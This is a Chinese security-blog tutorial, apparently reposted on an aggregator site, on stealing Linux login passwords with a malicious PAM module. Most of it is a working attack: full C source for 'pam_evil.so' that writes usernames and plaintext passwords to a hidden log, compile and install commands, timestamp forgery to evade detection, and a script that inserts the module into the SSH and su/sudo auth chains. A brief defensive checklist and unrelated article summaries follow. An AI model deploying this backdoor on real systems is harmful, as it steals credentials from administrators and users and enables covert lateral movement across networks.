PAM钩子抓取root登录密码:原理与完整详细操作步骤"

admin 2026-10-24 11:29:26 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

PAM钩子抓取root登录密码:原理与完整详细操作步骤

原创

Z0安全
Z0安全

Z0安全

2026年10月19日 16:14
山东

去阅读

一、这个技术是什么

PAM(Pluggable Authentication Modules,可插拔认证模块)是Linux的认证框架。用户登录时,sshd、su、sudo这些程序不自己验证密码,而是把密码交给PAM框架,由框架按配置文件里写好的模块链依次处理。

关键点在于:PAM在认证过程中,会把用户输入的密码明文暂时存在会话里,认证链上的每个模块都能用pam_get_item(PAM_AUTHTOK)把这个明文读出来。

所以思路很直接:写一个PAM模块,插到认证链上,密码登录发生时把明文记到我们自己的日志文件。模块本身不做任何校验,认证结果完全交给原来的pam_unix.so,用户无感知,登录行为零影响。

这个技术常用于攻防的内网横向:通过漏洞已经拿到shell,获取root权限。但不知道密码明文;装上钩子后,后续任何人的密码登录(包括管理员、其他运维)都会被记录,而这些密码往往在网内其他机器上复用。有时候往往一个密码就能成为打开一片内网机器。

二、整体思路

登录请求(root密码明文)
    → PAM框架收到,密码暂存于 PAM_AUTHTOK
    → 认证链逐个执行模块:
        ① pam_evil.so   ← 我们插入的,读 PAM_AUTHTOK 明文,写入日志
        ② pam_unix.so   ← 原来的,比对 /etc/shadow 哈希,决定登录成败
    → 登录正常进行,任何人无感知

三、操作步骤

全程需要目标机的root权限。

第1步:编写模块源码

新建pam_evil.c(webshell权限cat多行容易报错,建议使用文件上传到服务器):

// pam_evil.c — PAM钩子:抓取登录密码明文
// 编译: gcc -shared -fPIC -o pam_evil.so pam_evil.c /lib64/libpam.so.0
#include<stdio.h>
#include<string.h>
#include<time.h>
#include<sys/stat.h>
#include<unistd.h>

typedefstructpam_handlepam_handle_t;
intpam_get_item(constpam_handle_t *pamh, int item_type, constvoid **item);
intpam_get_authtok(pam_handle_t *pamh, int item, constchar **authtok, constchar *prompt);

#define PAM_EXTERN extern
#define PAM_USER    2   // PAM官方ABI常量
#define PAM_AUTHTOK 6   // 密码明文槽位(7是旧密码槽位,别搞错)
#define PAM_SUCCESS 0

#define LOGPATH \"/var/log/.xlog\"   // 密码落盘位置

static FILE *open_log(void) {
    FILE *fp = fopen(LOGPATH, \"a\");
    if (fp) fchmod(fileno(fp), 0600);
    return fp;
}

PAM_EXTERN intpam_sm_authenticate(pam_handle_t *pamh, int flags, int argc, constchar **argv) {
    constvoid *u = NULL;
    constchar *user = \"?\", *pass = NULL;

    pam_get_item(pamh, PAM_USER, &u);       // 读取登录用户名
    if (u) user = (constchar *)u;

    // 密码槽位如果还是空的,主动向框架要密码
    if (pam_get_item(pamh, PAM_AUTHTOK, (constvoid **)&pass) != PAM_SUCCESS || !pass)
        pam_get_authtok(pamh, PAM_AUTHTOK, &pass, NULL);

    if (pass && pass[0]) {                  // 有密码就落盘
        FILE *fp = open_log();
        if (fp) {
            fprintf(fp, \"[%ld] %s:%s\
\", (long)time(NULL), user, pass);
            fclose(fp);
        }
    }
    return PAM_SUCCESS;   // 恒返回成功,认证结果由后续 pam_unix.so 决定
}

PAM_EXTERN intpam_sm_setcred(pam_handle_t *pamh, int flags, int argc, constchar **argv) { return PAM_SUCCESS; }
PAM_EXTERN intpam_sm_acct_mgmt(pam_handle_t *pamh, int flags, int argc, constchar **argv) { return PAM_SUCCESS; }
PAM_EXTERN intpam_sm_open_session(pam_handle_t *pamh, int flags, int argc, constchar **argv) { return PAM_SUCCESS; }
PAM_EXTERN intpam_sm_close_session(pam_handle_t *pamh, int flags, int argc, constchar **argv) { return PAM_SUCCESS; }
PAM_EXTERN intpam_sm_chauthtok(pam_handle_t *pamh, int flags, int argc, constchar **argv) { return PAM_SUCCESS; }

说明两点:

  • • 源码里没有#include <security/pam_appl.h>头文件,是手写的前向声明。原因是CentOS 7 EOL后yum源已失效(阿里云镜像对repomd.xml返回403),pam-devel装不上。模块实际只用两个函数声明和几个常量,手写完全够用。
  • • 编译直接链接系统运行库/lib64/libpam.so.0,不依赖-lpam开发库。

第2步:编译

gcc -shared -fPIC -o pam_evil.so pam_evil.c /lib64/libpam.so.0

无输出即编译成功,生成的pam_evil.so就是插件模块。

第3步:安装模块文件

# 放到PAM模块目录(64位系统为 /lib64/security)
cp pam_evil.so /lib64/security/pam_evil.so
chmod 755 /lib64/security/pam_evil.so
# 把时间戳改成和其他模块一致,避免被人一眼看出是新文件
touch -r /lib64/security/pam_unix.so /lib64/security/pam_evil.so

# 创建日志文件,权限600只有root能读
touch /var/log/.xlog && chmod 600 /var/log/.xlog

第4步:挂载到认证链

CentOS 7下密码登录走的认证链是/etc/pam.d/password-auth(SSH)和/etc/pam.d/system-auth(su/sudo)。在两个文件的首个pam_unix.so行之前,插入我们的模块:

for f in /etc/pam.d/password-auth /etc/pam.d/system-auth; do
  [ -f \"$f.bak\" ] || cp \"$f\" \"$f.bak\"          # 先备份,方便还原
  grep -q pam_evil.so \"$f\" || awk '/^auth.*pam_unix\\.so/ && !d {print \"auth        optional     pam_evil.so\"; d=1} {print}' \"$f\" > \"$f.new\"
  /bin/mv -f \"$f.new\" \"$f\"
done

挂载行:auth optional pam_evil.so。

注意必须是optional而不是sufficient:模块恒返回成功,如果写成sufficient会直接放行并跳过pam_unix.so的密码校验,等于任何人都能乱输一个密码登录,立刻暴露。

查看挂载结果:

grep -n pam_evil /etc/pam.d/password-auth /etc/pam.d/system-auth

应看到:

/etc/pam.d/password-auth:6:auth        optional     pam_evil.so
/etc/pam.d/system-auth:7:auth          optional     pam_evil.so

第5步:验证

验证技巧:故意输一个错误密码。错误密码也会被记录,不需要等真实密码出现,也不会输错多次触发锁定。

# 强制走密码认证登录本机(不走密钥)
ssh -o PubkeyAuthentication=no -o PreferredAuthentications=password [email protected]
# 输入一个随便的密码 → 被拒绝(Permission denied)
# 然后查看日志:
cat /var/log/.xlog

能看到形如下面的记录,说明钩子生效:

[1792376300] root:123123123123
[1792376303] root:231123123

到这里,后续任何人用密码登录这台机器,账号和明文密码都会写入/var/log/.xlog。

第6步:清理还原

测试完还原现场:

# 从认证链移除
sed -i '/pam_evil\\.so/d' /etc/pam.d/password-auth /etc/pam.d/system-auth
# 删除模块和日志
rm -f /lib64/security/pam_evil.so /var/log/.xlog
# (如有备份也可直接恢复)
# cp /etc/pam.d/password-auth.bak /etc/pam.d/password-auth
# cp /etc/pam.d/system-auth.bak /etc/pam.d/system-auth

四、常见问题

问题 原因 解决
编译报pam头文件缺失 CentOS7 EOL,yum源失效装不了pam-devel 手写前向声明,直接链/lib64/libpam.so.0
日志文件为空 PAM_AUTHTOK 常量写错(写成了7) 必须是6,7是PAM_OLDAUTHTOK旧密码槽
常量对但日志还是空 模块挂在链最前,框架还没收集到密码 用pam_get_authtok主动向框架要密码
挂载后任何人乱输密码都能登录 挂载行用了sufficient 改成optional
密钥登录抓不到密码 密钥认证不走PAM\_AUTHTOK 只有密码登录才会触发

五、防御建议

  • • 定期检查/etc/pam.d/下各配置,确认auth段没有不明模块
  • • 检查/lib64/security/目录,留意不明的.so文件及时间戳
  • • 关注/var/log/secure中pam_*相关异常日志
  • • 扫描/var/log下的隐藏文件
  • • 有条件的系统可对关键目录做文件hash基线,定期比对

适用范围

  • • 目标:Linux服务器(系统需有PAM,几乎所有主流发行版都有)
  • • 前提:已拿到root权限
  • • 用途:内网横向获取密码凭据,密码复用率高,拿到一个root密码往往能打开一片机器

师傅,来个三连吧~

PAM钩子抓取root登录密码:原理与完整详细操作步骤" 网络安全文章

PAM钩子抓取root登录密码:原理与完整详细操作步骤"

本文详细介绍了通过编写恶意PAM模块实现Linux系统登录密码明文抓取的技术原理与完整操作步骤,包括源码编写、编译安装、挂载认证链、验证及清理还原方法,并提供了常见问题排查与防御建议。该技术适用于已获取root权限后的内网横向渗透场景,利用密码复用获取更多主机权限。文章结构清晰,步骤完整,具备较强可操作性。
雷神众测漏洞周报2026.10.12-2026.10.18" 网络安全文章

雷神众测漏洞周报2026.10.12-2026.10.18"

该文档为雷神众测发布的2026年10月12日至18日漏洞周报,涵盖四个高危漏洞:GitLab远程代码执行漏洞(CVE-2026-97229)可致任意代码执行;FreeBSD缓冲区溢出漏洞(CVE-2026-58095)可致root权限执行;GoogleChrome释放后重用漏洞(CVE-2026-91737)可致沙箱内任意代码执行;WordPressThemeREXAddons插件任意文件上传漏洞(CVE-2024-13448)可远程执行代码。建议及时升级相关软件至最新版本。
网络协议---LDAP协议" 网络安全文章

网络协议---LDAP协议"

LDAP是轻量目录访问协议,基于TCP/IP,默认端口389明文传输,适合查询多修改少的树状层级数据。核心概念包括DN、RDN、BaseDN、条目与属性。通过Wireshark抓包可分析绑定认证与查询过程。关键风险是明文传输,账号密码与查询数据裸传,存在安全风险,建议慎用生产环境。
评论:0   参与:  0